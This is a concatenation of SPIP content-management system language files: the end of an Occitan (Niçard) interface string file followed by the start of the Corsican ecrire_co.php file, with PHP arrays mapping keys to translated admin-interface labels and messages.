'texte_nouvelle_version_spip_2' => 'Aquela versioun nouvèla demanda una metuda a jou mai coumpleta qu’a l’acoustumada. Se siès webmèstre dóu sit, vourguès escassà lou fichié @connect@ e repilhà l’instalacioun per fin d’atualisà lu vouòstre parametre de counessioun a la basa de dounada.<p> (NB: s’avès denembrat lu vouòstre parametre de counessioun, regarjàs lou fichié @connect@ denant de lou suprimà...)</p>',
'texte_operation_echec' => 'Tournàs a la pàgina prechedenta, chausissès una autra basa o creàs nen una nouvèla. Verificàs li infourmacioun que lou vouòstre aubergadour v’a fournidi.',
'texte_plus_trois_car' => 'mai de 3 caracter',
'texte_plusieurs_articles' => 'Plusiur autour troubat da « @cherche_auteur@ »:',
'texte_port_annuaire' => '(La valour predefinida counven generalamen.)',
'texte_presente_plugin' => 'Aquela pàgina lista lu plugin dispounible sus lou sit. Poudès ativà lu plugin necessari en entacant la casa courrespoundenta.',
'texte_proposer_publication' => 'Quoura lou vouòstre article sera acabat,<br /> pourès proupausà la siéu publicacioun.',
'texte_proxy' => 'De còu que lì a (intranet, rets protegidi...), lu sit distant (doucumentacioun de SPIP, sit sindicat, eca.) soun achessible qu’ a travès un <i>proxy</i>. En aquèu cas, endicàs aquì souta la siéu adressa coum’acò @proxy_en_cours@. En general, laisserès aquèla casa vuèia',
'texte_publication_articles_post_dates' => 'Couma SPIP si deu coumpourtà embé lu article que la sieu
data de publicacioun es fissada a una
escadença futura ?',
'texte_rappel_selection_champs' => '[Noun denembràs de seleciounà courretamen aqueu camp.]',
'texte_recalcul_page' => 'Se voulès
recarculà soulamen una pàgina, passàs pulèu per l’espaci public et utilisàs lou boutoun « recarculà ».',
'texte_recuperer_base' => 'Reparà la basa de dounada',
'texte_reference_mais_redirige' => 'article referençat en lou vouòstre sit SPIP, ma redirigiat vèrs un’autra URL.',
'texte_requetes_echouent' => '<b>Quoura certeni requesta SQL souhon
sistematicamen e sensa rasoun aparenta, si pòu
qu’acò vengue de la basa de dounada.</b><p>
Lou vouòstre servidou SQL a la facultà de reparà li sieu
taula quoura li soun estadi degalhadi per achident. Aquì poudès prouvà aquela reparacioun ; se
noun marcha, counservàs una còpia de l’afichage, que counten bessai
d’indìci de cen que noun marcha...</p><p>
Se lou proublema persiste, countactàs lou vouòstre
aubergadour.</p>',
'texte_selection_langue_principale' => 'Poudès seleciounà aquì souta la « lenga principala » dóu sit. Aquela chausida noun v’oubligia - gauch proun que noun - da escriéure lu vouòstre article en la lenga seleciounada, ma permete de determinà :
<ul><li> lou fourmat predefinit dei data soubre lou sit pùblicou ;</li>
<li> la natura dóu moutour tipougràficou que SPIP déu utilisà dau rendut dei tèstou;</li>
<li> la lenga utilisada en lu fourmulari dóu sit pùblicou;</li>
<li> la lenga presentada couma predefinida en l’espaci privat.</li></ul>',
'texte_sous_titre' => 'Souta-titre',
'texte_statistiques_visites' => '(barra founçadi : dimènegue / curva founçadi : evoulucioun de la mejàna)',
'texte_statut_attente_validation' => 'en aspèra de validacioun',
'texte_statut_publies' => 'publicat en ligna',
'texte_statut_refuses' => 'refudat',
'texte_suppression_fichiers' => 'Utilisàs aquela coumanda da suprimà toui lu fichié que si troubon
en l’amagadou SPIP. Acò permete per isemple de fourçà un nouvèu carcul de touti li pàgina
s’avès fach dei moudificacioun empourtanti de grafisme o d’estrutura dóu sit.',
'texte_sur_titre' => 'Soubre-titre',
'texte_table_ok' => ': aquela taula va ben.',
'texte_tentative_recuperation' => 'Tentativa de reparacioun',
'texte_tenter_reparation' => 'Prouvà de reparà la basa de dounada',
'texte_test_proxy' => 'Da prouvà aqueu proxy, endicàs aquì l’adressa d’un sit web
que lou vourias prouvà.',
'texte_titre_02' => 'Titre :',
'texte_titre_obligatoire' => '<b>Titre</b> [Oubligatori]',
'texte_travail_article' => '@nom_auteur_modif@ a trabalhat sus aquel article @date_diff@ minuta fa',
'texte_travail_collaboratif' => 'Quoura es frequent que mai d’un redatour
trabalhe sus lou meme article, lou sistema
pòu afichà lu article darieramen « dubèrt »
da evità li moudificacioun fach ensen.
Aquela oupcioun es desativada de maniera predefinida
da evità d’afichà de message d’avertimen
intempestiéu.',
'texte_vide' => 'vuèi',
'texte_vider_cache' => 'Vuà l’amagadou',
'titre_admin_tech' => 'Mantenença tècnica',
'titre_admin_vider' => 'Mantenença tècnica',
'titre_ajouter_un_auteur' => 'Ajustà un autour',
'titre_ajouter_un_mot' => 'Ajustà un mot-clau',
'titre_cadre_afficher_article' => 'Afichà lu article',
'titre_cadre_afficher_traductions' => 'Afichà l’estat dei traducioun dai lenga segenti :',
'titre_cadre_ajouter_auteur' => 'AJUSTÀ UN AUTOUR :',
'titre_cadre_interieur_rubrique' => 'En la rùbrica',
'titre_cadre_numero_auteur' => 'AUTOUR NÙMERO',
'titre_cadre_numero_objet' => '@objet@ NÙMERO :',
'titre_cadre_signature_obligatoire' => '<b>Firma</b> [Oubligatori]<br />',
'titre_config_contenu_notifications' => 'Noutificatioun',
'titre_config_contenu_prive' => 'En l’espaci privat',
'titre_config_contenu_public' => 'Soubre lou sit pùblicou',
'titre_config_fonctions' => 'Counfiguracioun dóu sit',
'titre_config_langage' => 'Counfigurà la lenga',
'titre_configuration' => 'Counfiguracioun dóu sit',
'titre_configurer_preferences' => 'Counfigurà li vouòstri preferença vos préférences',
'titre_conflit_edition' => 'Counflit dóu tems de l’edicioun',
'titre_connexion_ldap' => 'Oupcioun : <b>La vouòstra counessioun LDAP</b>',
'titre_groupe_mots' => 'GROUP DE MOT :',
'titre_identite_site' => 'Identità dóu sit',
'titre_langue_article' => 'Lenga de l’article',
'titre_langue_rubrique' => 'Lenga de la rùbrica',
'titre_langue_trad_article' => 'LENGA E TRADUCIOUN DE L’ARTICLE',
'titre_les_articles' => 'LU ARTICLE',
'titre_messagerie_agenda' => 'Messagerìa e agenda',
'titre_naviguer_dans_le_site' => 'Navigà en lou sit...',
'titre_nouvelle_rubrique' => 'Nouvèla rùbrica',
'titre_numero_rubrique' => 'RÙBRICA NÚMERO :',
'titre_page_articles_edit' => 'Moudificà : @titre@',
'titre_page_articles_page' => 'Lu article',
'titre_page_articles_tous' => 'Tout lou sit',
'titre_page_calendrier' => 'Calendari @nom_mois@ @annee@',
'titre_page_config_contenu' => 'Counfiguracioun dóu sit',
'titre_page_delete_all' => 'supressioun toutala e irreversibla',
'titre_page_recherche' => 'Resultat de la recerca @recherche@',
'titre_page_statistiques_referers' => 'Estatistica (estac intrant)',
'titre_page_upgrade' => 'Metuda a nivèu de SPIP',
'titre_publication_articles_post_dates' => 'Publicacioun dei article post-datat',
'titre_reparation' => 'Reparacioun',
'titre_suivi_petition' => 'Segut dei peticioun',
'tls_ldap' => 'Transport Layer Security :',
'trad_article_traduction' => 'Touti li versioun d’aquel article :',
'trad_delier' => 'Pus legà aquest article ai traducioun sieui',
'trad_lier' => 'Aquel article es una traducioun de l’article nùmero :',
'trad_new' => 'Escrieure una nouvèla traducioun',
// U
'utf8_convert_erreur_orig' => 'Errour : lou juèc de caractèr @charset@ es pas supourtat.',
// V
'version' => 'Versioun:'
);
?>
ecrire_co.php 0000666 00000212026 15252547432 0007227 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=co
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'Attivà u plugin',
'affichage' => 'Vede',
'aide_non_disponible' => 'Sta parte di l’aiutu ùn hè ancu dispunìbule in corsu.',
'annuler_recherche' => 'Annullà a ricerca',
'auteur' => 'Autore :',
'avis_acces_interdit' => 'Accessu interdettu.',
'avis_article_modifie' => 'Attenti, @nom_auteur_modif@ hà travagliatu nant’à st’artìculu @date_diff@ minuti fà',
'avis_aucun_resultat' => 'Nisunu risultatu.',
'avis_chemin_invalide_1' => 'u percorsu ch’è vo avete sceltu',
'avis_chemin_invalide_2' => 'pare sbagliatu. Turnate à a pàgina di nanzu è verificate l’infurmazioni furnite.',
'avis_connexion_echec_1' => 'Hè fiascata a cunnessione à a basa di dati.',
'avis_connexion_echec_2' => 'Turnate à a pàgina di nanzu è verificate l’infurmazioni furnite.',
'avis_connexion_echec_3' => '<b>N.B.</b> À spessu nant’à certi servori, si deve <b>dumandà</b> l’attivazione di l’accessu à a basa di dati
prima di pudè lu aduprà. Sè vo ùn ci la fate à cunnette vi, verificate puru chè vo avete fattu sta dumanda.',
'avis_connexion_ldap_echec_1' => 'Hè fiascata a cunnessione à u servore LDAP.',
'avis_connexion_ldap_echec_2' => 'Turnate à a pàgina di nanzu è verificate l’infurmazioni date. ',
'avis_connexion_ldap_echec_3' => 'O sinnò, ùn aduprate micca u supportu LDAP per impurtà utilizatori.',
'avis_deplacement_rubrique' => 'Attenti ! Sta rùbbrica cuntene @contient_breves@ dispacciu/i : Sè vo a spiazzate, spuntate puru sta casella da cunfirmà.',
'avis_destinataire_obligatoire' => 'Duvite rinsignà un destinatariu prima di mandà stu messagiu.',
'avis_erreur_connexion_mysql' => 'Errore di cunnessione SQL',
'avis_erreur_version_archive' => '<b>Attenti ! u schedariu @archive@ currisponde
à una versione di SPIP sferente da quella stallata.</b> Puderanu accade grossi prublemi :
rìsicu di distruzzione di a vostra basa, gattivi funziunamenti vari di u situ, ecc.
Ùn cunfirmate micca sta dumanda d’impurtazione !
<p>Per sapè ne di più, andate à vede <a href="@spipnet@">
a ducumentazione di SPIP</a>.</p>',
'avis_espace_interdit' => '<b>Spaziu interdettu</b><div>Hè digià stallatu SPIP.</div>',
'avis_lecture_noms_bases_1' => 'U prugrammu di stallazione ùn hà pussutu leghje i nomi di e base stallate nant’à u servore.',
'avis_lecture_noms_bases_2' => 'Sia ùn hè dispunìbule nisuna basa di dati, sia a funzione chì permette d’accede à e base hè
stata disattivata per ragioni di sicurezza (stu casu hè abbastanza spartu).',
'avis_lecture_noms_bases_3' => 'In u secondu casu, pò accade chì una basa di dati sia aduprèvule cù u vostru nome di login :',
'avis_non_acces_message' => 'Ùn avete accessu à stu messagiu.',
'avis_non_acces_page' => 'Ùn avete accessu à sta pàgina.',
'avis_operation_echec' => 'Hè fiascata l’uperazione.',
'avis_operation_impossible' => 'Uperazione impussìbule',
'avis_probleme_archive' => 'Prublemu di lettura di u schedariu @archive@',
'avis_suppression_base' => 'ATTENTI, dopu cancellati i dati, ùn si ponu più ricuarà',
'avis_version_mysql' => 'U vostru servore SQL (@version_mysql@) ùn permette micca a riparazione autumàtica di e tàvule di a basa.',
// B
'bouton_acces_ldap' => 'Aghjunghje l’accessu à LDAP',
'bouton_ajouter' => 'Aghjunghje',
'bouton_ajouter_participant' => 'AGHJUNGHJE UN UTILIZATORE :',
'bouton_annonce' => 'ANNUNCIU',
'bouton_annuler' => 'Annullà',
'bouton_checkbox_envoi_message' => 'pussibulità di mandà un messagiu',
'bouton_checkbox_indiquer_site' => 'rinsignà per forza un situ web',
'bouton_checkbox_signature_unique_email' => 'una sola zifra per indirizzu email',
'bouton_checkbox_signature_unique_site' => 'una sola zifra per situ Web',
'bouton_demande_publication' => 'Dumandà a pubblicazione di st’artìculu',
'bouton_desactive_tout' => 'Tuttu disattivà',
'bouton_desinstaller' => 'Disistallà',
'bouton_effacer_index' => 'Sguassà l’ìndici',
'bouton_effacer_tout' => 'TUTTU sguassà',
'bouton_envoi_message_02' => 'MANDÀ UN MESSAGIU',
'bouton_envoyer_message' => 'Messagiu definitivu : mandà',
'bouton_fermer' => 'Chjode',
'bouton_modifier' => 'Mudificà',
'bouton_pense_bete' => 'MEMENTU À USU PERSUNALE',
'bouton_radio_activer_messagerie' => 'Attivà a messageria interna',
'bouton_radio_activer_messagerie_interne' => 'Attivà a messageria interna',
'bouton_radio_activer_petition' => 'Attivà a petizione',
'bouton_radio_afficher' => 'Vede',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Cumparisce frà a lista di i scrittori cunnessi',
'bouton_radio_desactiver_messagerie' => 'Disattivà la messageria',
'bouton_radio_envoi_annonces_adresse' => 'Mandà l’annunci à l’indirizzu :',
'bouton_radio_envoi_liste_nouveautes' => 'Mandà a lista di e nuvità',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Ùn cumparisce micca frà a lista di i scrittori cunnessi ',
'bouton_radio_non_envoi_annonces_editoriales' => 'Ùn mandà micca annunci editoriali ',
'bouton_radio_pas_petition' => 'Nisuna petizione',
'bouton_radio_petition_activee' => 'Petizione attivata',
'bouton_radio_supprimer_petition' => 'Toglie a petizione',
'bouton_redirection' => 'RINDIRIZZAMENTU',
'bouton_relancer_installation' => 'Rilancià a stallazione',
'bouton_suivant' => 'In avanti',
'bouton_tenter_recuperation' => 'Pruvà una riparazione',
'bouton_test_proxy' => 'Fà una prova di proxy',
'bouton_vider_cache' => 'Sviutà u cache',
'bouton_voir_message' => 'Vede u messagiu prima',
// C
'cache_mode_compresse' => 'I schedari di u cache sò arregistrati in modu cumpressu.',
'cache_mode_non_compresse' => 'I schedari di u cache sò arregistrati in modu micca cumpressu.',
'cache_modifiable_webmestre' => 'Stu paràmetru pò esse mudificatu da u webmaestru di u situ.',
'calendrier_synchro' => 'Sè vo usate un prugrammu di almanaccu chì si pò accuppià cù <b>iCal</b>, ne pudete puru apparinà i dati cù l’infurmazioni di stu situ',
'config_activer_champs' => 'Attivà i seguenti campi',
'config_choix_base_sup' => 'indettà una basa di dati nant’à stu servore',
'config_erreur_base_sup' => 'SPIP ùn hà accessu à e base accessìbule ',
'config_info_base_sup' => 'Sè vo avete altre base di dati da interrugà à traversu SPIP, cù u so propriu servore SQL o puru un altru, u furmulariu quì sottu
vi permette di dichjarà le. Lascendu certi campi vioti, seranu usati nanzu i dati di cunnessione a a basa principale.',
'config_info_base_sup_disponibles' => 'Altre base pudendu esse interrugate :',
'config_info_enregistree' => 'Hè stata arregistrata a nuvella cunfigurazione',
'config_info_logos' => 'Ogni elementu di u situ pò avè un logo, quant’è dinò un logo di « roll-over »',
'config_info_logos_utiliser' => 'Usà i logo',
'config_info_logos_utiliser_non' => 'Ùn usà micca i logo',
'config_info_logos_utiliser_survol' => 'Usà i logo di roll-over',
'config_info_logos_utiliser_survol_non' => 'Ùn usà micca i logo di roll-over',
'config_info_redirection' => 'Attivendu sta scelta, puderete creà artìculi virtuali, sèmplici riferimenti d’artìculi pubblicati nant’à altri siti o fora da SPIP.',
'config_redirection' => 'Artìculi virtuali',
'config_titre_base_sup' => 'Dichjarazione di una basa di dati in soprapiù',
'config_titre_base_sup_choix' => 'Sceglie una basa di dati in soprapiù',
'connexion_ldap' => 'Cunnessione :',
'copier_en_local' => 'Cupià versu u lucale',
// D
'date_mot_heures' => 'ore',
// E
'email' => 'email',
'email_2' => 'email :',
'en_savoir_plus' => 'Sapè ne di più',
'entree_adresse_annuaire' => 'Indirizzu di l’annuariu',
'entree_adresse_email' => 'U vostru indirizzu email',
'entree_adresse_email_2' => 'Indirizzu mail',
'entree_base_donnee_1' => 'Indirizzu di a basa di dati',
'entree_base_donnee_2' => '(À spessu st’indirizzu currisponde à quellu di u vostru situ, qualchì volta à «localhost», o puru pò esse lasciatu viotu.)',
'entree_biographie' => 'Biugrafia corta in poche parulle.',
'entree_chemin_acces' => '<b>Dà</b> u percorsu d’accessu :',
'entree_cle_pgp' => 'A vostra chjave PGP',
'entree_cle_pgp_2' => 'Chjave PGP',
'entree_contenu_rubrique' => '(Cuntenutu di a rùbrica in poche parulle)', # MODIF
'entree_identifiants_connexion' => 'I vostri còdici persunali di cunnessione ...',
'entree_identifiants_connexion_2' => 'Identificativi di cunnessione',
'entree_informations_connexion_ldap' => 'Rinsignate in stu furmulariu i dati di cunnessione à u vostu annuariu LDAP.
St’infurmazioni sò da dumandà à l’amministratore di u sistema o di a rete.',
'entree_infos_perso' => 'Quale site ?',
'entree_infos_perso_2' => 'Quale hè l’autore ?',
'entree_interieur_rubrique' => 'Dentru a rùbrica :',
'entree_liens_sites' => '<b>Lea ipertestu</b> (riferimentu, situ da visità ...)',
'entree_login' => 'Login',
'entree_login_connexion_1' => 'Login di cunnessione',
'entree_login_connexion_2' => '(Currisponde certe volte à u login d’accessu cù FTP; o puru si pò lascià viotu)',
'entree_login_ldap' => 'Login LDAP iniziale',
'entree_mot_passe' => 'Parola secreta (password)',
'entree_mot_passe_1' => 'Password di cunnessione',
'entree_mot_passe_2' => '(Currisponde certe volte à u password d’accessu cù FTP; o puru si pò lascià viotu)',
'entree_nom_fichier' => 'Entrate u nome di u schedariu @texte_compresse@ :',
'entree_nom_pseudo' => 'Nome o fintunome (pseudo)',
'entree_nom_pseudo_1' => '(Nome o fintunome)',
'entree_nom_pseudo_2' => 'Nome o fintunome (pseudo)',
'entree_nom_site' => 'Nome di u vostru situ',
'entree_nom_site_2' => 'Nome di u situ di l’autore',
'entree_nouveau_passe' => 'Nuvella parola secreta',
'entree_passe_ldap' => 'Parola secreta',
'entree_port_annuaire' => 'U nùmeru di porta di l’annuariu',
'entree_signature' => 'Zifra',
'entree_titre_obligatoire' => '<b>Tìtulu</b> [Ubligatoriu]<br />',
'entree_url' => 'Indirizzu (URL) di u situ',
'entree_url_2' => 'Indirizzu (URL) di u situ',
'erreur_plugin_fichier_absent' => 'Schedariu inesistente',
'erreur_plugin_fichier_def_absent' => 'Schedariu di definizione inesistente',
'erreur_plugin_nom_fonction_interdit' => 'Nome di funzione interdetta',
'erreur_plugin_nom_manquant' => 'Nome di plugin inesistente',
'erreur_plugin_prefix_manquant' => 'Spaziu per u nome di u plugin indefinitu',
'erreur_plugin_tag_plugin_absent' => '<plugin> inesistente in u schedariu di definizione',
'erreur_plugin_version_manquant' => 'Versione di u plugin inesistente',
// I
'ical_info1' => 'Sta pàgina presenta varie manere di stà in cuntattu cù a vita cutidiana di u situ.',
'ical_info2' => 'Per sapè ne di più nant’à tutte ste tècniche, cunsultate puru <a href="http://www.spip.net/fr_suivi">a ducumentazione di SPIP</a>.',
'ical_info_calendrier' => 'Sò dispunìbuli dui almanacchi. U primu hè un pianu di u situ chì annuncia tutti l’artìculi pubblicati.
U secondu cuntene l’annunci editoriali è l’ùltimi messagi privati : Hè un spaziu à voi riservatu grazi’à una chjave persunale,
chè vo pudete mudificà quand’ella vi pare rinuvellendu u vostru password.',
'ical_methode_http' => 'Scaricà',
'ical_methode_webcal' => 'Apparinà (webcal://)',
'ical_texte_js' => 'Una ligna di javascript permette di fà vede, di manera assai sèmplice è nant’à qualsìasi situ i nuvelli artìculi pubblicati di pocu
nant’à stu situ.',
'ical_texte_prive' => 'St’almanaccu, à usu persunale vostru, vi rinsegna nant’à l’attività edituriale privata di stu situ (incàrichi è appuntamenti
persunali, artìculi è dispacci pruposti ...).',
'ical_texte_public' => 'St’almanaccu vi permette di seguità l’attività pùbblica di stu situ (artìculi è dispacci pubblicati).',
'ical_texte_rss' => 'Pudete mette in sindicazione e nuvità di stu situ cù qualsìasi lettore di schedariu di furmatu XML/RSS (Rich Site Summary).
Stu furmatu permette dinò à SPIP di leghje e nuvità pubblicate nant’à altri siti usendu un furmatu chì rendi pussìbuli i scambi (siti sindicati).',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Mailing-list',
'ical_titre_rss' => 'Schedariu di sindicazione',
'icone_accueil' => 'Accuglienza',
'icone_activer_cookie' => 'Attivà u cookie di currispundenza',
'icone_activite' => 'Attività',
'icone_admin_plugin' => 'Gestione di i plugins',
'icone_administration' => 'Mantenimentu',
'icone_afficher_auteurs' => 'Vede l’autori',
'icone_afficher_visiteurs' => 'Vede i visitori',
'icone_arret_discussion' => 'Ùn participà più à sta ragiunata',
'icone_calendrier' => 'Almanaccu',
'icone_configuration' => 'Cunfigurazione',
'icone_creer_auteur' => 'Creà un novu autore è assucià lu à st’artìculu',
'icone_creer_mot_cle' => 'Creà un nuvellu segnu è assucià lu à st’artìculu',
'icone_creer_mot_cle_rubrique' => 'Creà un nuvellu segnu è assucià lu à sta rùbbrica',
'icone_creer_mot_cle_site' => 'Creà un nuvellu segnu è assucià lu à stu situ',
'icone_creer_rubrique_2' => 'Creà una nova rùbbrica',
'icone_edition' => 'Edizione',
'icone_envoyer_message' => 'Mandà u messagiu',
'icone_ma_langue' => 'A mo lingua',
'icone_mes_infos' => 'E mo infurmazioni',
'icone_mes_preferences' => 'E mo preferenze',
'icone_modifier_article' => 'Mudificà l’artìculu',
'icone_modifier_message' => 'Mudificà u messagiu',
'icone_modifier_rubrique' => 'Mudificà a rùbbrica',
'icone_publication' => 'Publicazione',
'icone_relancer_signataire' => 'Rilancià u signatariu',
'icone_retour' => 'In daretu',
'icone_retour_article' => 'Turnà à l’artìculu',
'icone_supprimer_cookie' => 'Sguassà u cookie di currispundenza',
'icone_supprimer_rubrique' => 'Sguassà sta rùbbrica',
'icone_supprimer_signature' => 'Sguassà sta zifra',
'icone_valider_signature' => 'Cunfirmà sta zifra',
'image_administrer_rubrique' => 'Pudete amministrà sta rùbrica',
'info_1_article' => '1 artìculu',
'info_1_auteur' => '1 autore',
'info_1_message' => '1 messagiu',
'info_1_rubrique' => '1 rùbrica',
'info_1_site' => '1 situ',
'info_1_visiteur' => '1 visitore',
'info_activer_cookie' => 'Pudete puru attivà un <b>cookie di currispundenza</b>, vi permetterà
di passà senza straziu da u situ pùbblicu à u situ privatu.',
'info_admin_etre_webmestre' => 'Dammi i diritti di webmaestru',
'info_admin_gere_rubriques' => 'St’amministratore gestisce e seguenti rùbbriche :',
'info_admin_gere_toutes_rubriques' => 'St’amministratore gestisce <b>tutte e rùbbriche</b>.', # MODIF
'info_admin_je_suis_webmestre' => 'Sò u <b>webmaestru</b>',
'info_admin_statuer_webmestre' => 'Dà à st’amministratore tutti i diritti di webmaestru',
'info_admin_webmestre' => 'St’amministratore hè <b>webmaestru</b>',
'info_administrateur' => 'Amministratore',
'info_administrateur_1' => 'Amministratore',
'info_administrateur_2' => 'di u situ (<i>da usà cù assai cura</i>)',
'info_administrateur_site_01' => 'Sè vo site amministratore di u situ,',
'info_administrateur_site_02' => 'cliccate puru quì',
'info_administrateurs' => 'Amministratori',
'info_administrer_rubrique' => 'Pudete puru amministrà sta rùbbrica',
'info_adresse' => 'à l’indirizzu :',
'info_adresse_url' => 'Indirizzu (URL) di u situ pùbblicu',
'info_afficher_visites' => 'Vede e vìsite per :',
'info_aide_en_ligne' => 'Aiutu in ligna SPIP',
'info_ajout_image' => 'Quand’è vo aghjunghjite imàgini cum’è ducumenti alleati à un artìculu,
SPIP pò creà per voi, in autumàticu, figurette ridotte da l’imàgini inserite. Per esempiu vi permette di creà
in autumàticu una galleria d’imàgini o un portafogliu.',
'info_ajout_participant' => 'Hè statu aghjuntu u seguente participante :',
'info_ajouter_rubrique' => 'Aghjunghje un’altra rùbbrica da amministrà :',
'info_annonce_nouveautes' => 'Annunciu di e nuvità',
'info_anterieur' => 'anteriore',
'info_article' => 'artìculu',
'info_article_2' => 'artìculi',
'info_article_a_paraitre' => 'L’artìculi post-datati da pubblicà',
'info_articles_02' => 'artìculi',
'info_articles_2' => 'artìculi',
'info_articles_auteur' => 'Artìculi di st’autore',
'info_articles_miens' => 'I mo artìculi',
'info_articles_tous' => 'Tutti l’artìculi',
'info_articles_trouves' => 'Artìculi trovi',
'info_articles_trouves_dans_texte' => 'Artìculi trovi (ricerca in u testu)',
'info_attente_validation' => 'I vostri artìculi in attesa di cunvalidazione',
'info_aucun_article' => 'Nisun artìculu',
'info_aucun_auteur' => 'Nisunu autore',
'info_aucun_message' => 'Nisun messagiu',
'info_aucun_rubrique' => 'Nisuna rùbrica',
'info_aucun_site' => 'Nisun situ',
'info_aucun_visiteur' => 'Nisun visitore',
'info_aujourdhui' => 'oghje : ',
'info_auteur_message' => 'AUTORE DI U MESSAGIU :',
'info_auteurs' => 'L’autori',
'info_auteurs_par_tri' => 'Autori@partri@',
'info_auteurs_trouves' => 'Autori trovi',
'info_authentification_externe' => 'Autentificazione esterna',
'info_avertissement' => 'Avertimentu',
'info_barre_outils' => 'cù a tàvula di strumenti?',
'info_base_installee' => 'Hè stallata a struttura di a vostra basa di dati.',
'info_bio' => 'Biugrafia',
'info_chapeau' => 'Cappellu',
'info_chapeau_2' => 'Cappellu :',
'info_chemin_acces_1' => 'Opzioni : <b>Percorsu d’accessu à i dati in l’annuariu</b>',
'info_chemin_acces_2' => 'Ci hè necessità avà di cunfigurà u percorsu d’accessu à i dati in l’annuariu. St’infurmazione hè indispensèvule per pudè ci
leghje i prufili-utilizatori.',
'info_chemin_acces_annuaire' => 'Opzioni : <b>Percorsu d’accessu à i dati in l’annuariu',
'info_choix_base' => 'Terza tappa : ',
'info_classement_1' => '<sup>o</sup> nant’à @liste@',
'info_classement_2' => '<sup>o</sup> nant’à @liste@',
'info_code_acces' => 'Ùn vi scurdate di i vostri còdici d’accessu !',
'info_compatibilite_html' => 'Norma HTML da rispettà',
'info_compresseur_gzip' => '<b>N. B. :</b> Arricumandemu di verificà capunanzu sì l’òspite cumpressa digià in autumàticu i script php;. Pè sapè la,
pudete aduprà per esempiu stu serviziu : @testgzip@', # MODIF
'info_compresseur_texte' => 'Sì u vostru servore ùn cumpressa micca in autumàticu e pàgine HTML da mandà le à i visitori, pruvate puru à furzà a cumpressione da
sminuì u pesu di e pàgine da scaricà. <b>Attenti</b> : Quessa pò ralentisce assai certi servori.',
'info_config_suivi' => 'Sì st’indirizzu currisponde à una mailing-list, rinsignate puru quì sottu l’indirizzu cù chì i participanti di u situ si ponu iscrive.
St’indirizzu pò esse un’URL (per esempiu a pàgina-web d’iscrizzione à a lista), o puru un indirizzu email cù un sugettu specìficu
(per esempiu : <tt>@adresse_suivi@?subject=subscribe</tt>) :',
'info_config_suivi_explication' => 'Vi pudete puru abbunà à a mailing-list di stu situ. Tandu riceverete per email l’annunci di l’artìculi è di i dispacci
pruposti per a pubblicazione.',
'info_confirmer_passe' => 'Cunfirmà stu nuvellu password :',
'info_conflit_edition_avis_non_sauvegarde' => 'Attenti, i seguenti campi sò digià stati mudificati in listessu mentre. E vostre mudìfiche nant’à sti campi
ùn sò state arregistrate.',
'info_conflit_edition_differences' => 'Sferenze :',
'info_conflit_edition_version_enregistree' => 'A versione arregistrata :',
'info_conflit_edition_votre_version' => 'A vostra versione :',
'info_connexion_base' => 'Prova di cunnessione à a basa di dati',
'info_connexion_base_donnee' => 'Cunnessione à a vostra basa di dati',
'info_connexion_ldap_ok' => 'A cunnessione LDAP hè riesciuta.</b><p> Pudete puru passà à a prùssima tappa.</p>', # MODIF
'info_connexion_mysql' => 'A vostra cunnessione SQL',
'info_connexion_ok' => 'A cunnessione hè riesciuta.',
'info_contact' => 'Cuntatti',
'info_contenu_articles' => 'Cuntenutu di l’artìculi',
'info_contributions' => 'Cuntributi',
'info_creation_paragraphe' => '(Per creà paragrafi indipendenti, lasciate puru ligne viote.)', # MODIF
'info_creation_rubrique' => 'Prima di pudè scrive artìculi, <br />vi tocca à creà omancu una rùbbrica.<br />',
'info_creation_tables' => 'Creazione di e tàvule in a basa di dati',
'info_creer_base' => '<b>Creà</b> una nuvella basa di dati :',
'info_dans_rubrique' => 'In a rùbrica :',
'info_date_publication_anterieure' => 'Data di ùltima scrittura :',
'info_date_referencement' => 'DATA DI RIFERIMENTU DI STU SITU :',
'info_derniere_etape' => 'Fatta !',
'info_derniers_articles_publies' => 'I vostr’ùltimi artìculi pubblicati',
'info_desactiver_messagerie_personnelle' => 'Pudete puru attivà o disattivà u sistema di messageria persunale pè stu situ.',
'info_descriptif' => 'Discrizzione :',
'info_desinstaller_plugin' => 'sguassa i dati è disattiveghja u plugin',
'info_discussion_cours' => 'Ragiunata in corsu',
'info_ecrire_article' => 'Prima di pudè scrive artìculi, vi tocca à creà omancu una rùbbrica.',
'info_email_envoi' => 'Indirizzu email di chì manda (micca ubbligatoriu)',
'info_email_envoi_txt' => 'Indettà quì l’indirizzu da aduprà per mandà l’email (da predefinita, l’indirizzu di u destinatariu serà usatu da indirizzu
d’inviu) :',
'info_email_webmestre' => 'Indirizzu email di u webmaestru (micca ubbligatoriu)', # MODIF
'info_entrer_code_alphabet' => 'Indettà u còdice di u santacroce da aduprà :',
'info_envoi_email_automatique' => 'Inviu autumàticu d’email',
'info_envoyer_maintenant' => 'Mandà avà',
'info_etape_suivante' => 'Passà à a prùssima tappa',
'info_etape_suivante_1' => 'Pudete passà à a prùssima tappa.',
'info_etape_suivante_2' => 'Pudete passà à a prùssima tappa.',
'info_exportation_base' => 'Spurtazione di a basa di dati versu @archive@',
'info_facilite_suivi_activite' => 'Da rende più fàciule a aguardia di l’attività edituriale di u situ, SPIP pò
prucede à invii d’email, per esempiu à una mailing-list di i scrittori, l’annunciu di e dumande di
pubblicazione è cunvalidazione d’artìculi.',
'info_fichiers_authent' => 'Schedari d’autentificazione ".htpasswd"',
'info_forums_abo_invites' => 'U vostru situ cumporta fori accessìbuli solu à l’abbunati. Per ciò esiste una pàgina d’iscrizzione in u situ pùbblicu.',
'info_gauche_admin_effacer' => '<b>Sta pàgina hè accessìbule solu à i rispunsèvuli di u situ.</b><p>
Permette l’accessu à e diverse funzioni di mantenimentu tècnicu.
Certe funzioni richerenu un specìficu prucedimentu d’identificazione, è necessiteghjanu per forza un accessu FTP à u situ.</p>', # MODIF
'info_gauche_admin_tech' => '<b>Sta pàgina hè accessìbule solu à i rispunsèvuli di u situ.</b><p>
Certe funzioni richerenu un specìficu prucedimentu d’identificazione, è necessiteghjanu per forza un accessu FTP à u situ.</p>', # MODIF
'info_gauche_admin_vider' => '<b>Sta pàgina hè accessìbule solu à i rispunsèvuli di u situ.</b><p>
